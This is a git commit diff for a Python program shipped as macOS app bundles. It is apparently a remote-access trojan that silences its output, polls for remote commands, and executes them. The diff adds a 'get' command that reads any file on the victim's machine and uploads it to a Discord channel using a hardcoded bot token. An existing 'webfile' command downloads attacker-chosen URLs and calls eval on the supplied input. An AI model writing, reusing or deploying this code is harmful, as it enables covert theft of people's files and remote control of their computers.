summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rwxr-xr-xdist/main-macbin11069216 -> 11069808 bytes
-rw-r--r--dist/main.app.zipbin10953832 -> 10954476 bytes
-rwxr-xr-xdist/main.app/Contents/MacOS/mainbin11069216 -> 11069808 bytes
-rw-r--r--dist/setup.app.zipbin10943596 -> 10943596 bytes
-rw-r--r--main.py26
5 files changed, 24 insertions, 2 deletions
diff --git a/dist/main-mac b/dist/main-mac
index 8bd811d..e4a0a99 100755
--- a/dist/main-mac
+++ b/dist/main-mac
Binary files differ
diff --git a/dist/main.app.zip b/dist/main.app.zip
index bcc161a..ec7ebae 100644
--- a/dist/main.app.zip
+++ b/dist/main.app.zip
Binary files differ
diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main
index 69d9b22..0ee15f3 100755
--- a/dist/main.app/Contents/MacOS/main
+++ b/dist/main.app/Contents/MacOS/main
Binary files differ
diff --git a/dist/setup.app.zip b/dist/setup.app.zip
index fe4e9c0..a77e536 100644
--- a/dist/setup.app.zip
+++ b/dist/setup.app.zip
Binary files differ
diff --git a/main.py b/main.py
index 530d34a..394f83b 100644
--- a/main.py
+++ b/main.py
@@ -4,12 +4,13 @@ try:
from time import sleep
from subprocess import Popen as system
from subprocess import PIPE
- from os import chdir, uname, devnull
+ from os import chdir, uname, devnull, getcwd
from sys import platform, stdout, stderr
old_command = ""
command = ""
loop = 0
+
stdout = open(devnull, 'w')
stderr = open(devnull, 'w')
@@ -68,17 +69,38 @@ while True:
if command == "None":
old_command = ""
continue
+ if command.startswith("get "):
+ token = 'MTE0MTM0MDA2Mzk2ODU0MjczMA.G7bTuQ.kXvBg1R2N-3Z2cYUXDmEVcBIzc7Z_MWvP2Wjtg'
+ channel_id = '1140989222556274721'
+ url = f'https://discord.com/api/v9/channels/{channel_id}/messages'
+ localcmd = command.split()
+ path = "../" + localcmd[1]
+ file = open(path, "rb").read()
+ fileJson = {
+ "file" : (str(path), open(str(path), 'rb'))
+ }
+ payload = {
+ "content":"message"
+ }
+ header = {'Authorization': f'Bot {token}'}
+
+ try:
+ post(url, data = payload, headers=header, files=fileJson)
+ except:
+ pass
+ old_command = commandId
if command.startswith("webfile "):
localcmd = command.split(maxsplit=1)
files = eval(localcmd[1])
for fileUrl in files:
fileData = get(fileUrl).content
- fileName = os.path.basename(fileUrl)
+ fileName = path.basename(fileUrl)
filePath = os.path.expanduser("~")
with open(f"{filePath}/{fileName}", 'wb') as f:
f.write(fileData)
f.close()
old_command = commandId
+ continue
#filename = os.path.basename(localcmd[1])
#print(filename)
#ossystem("touch " + filename[0] + filename[1])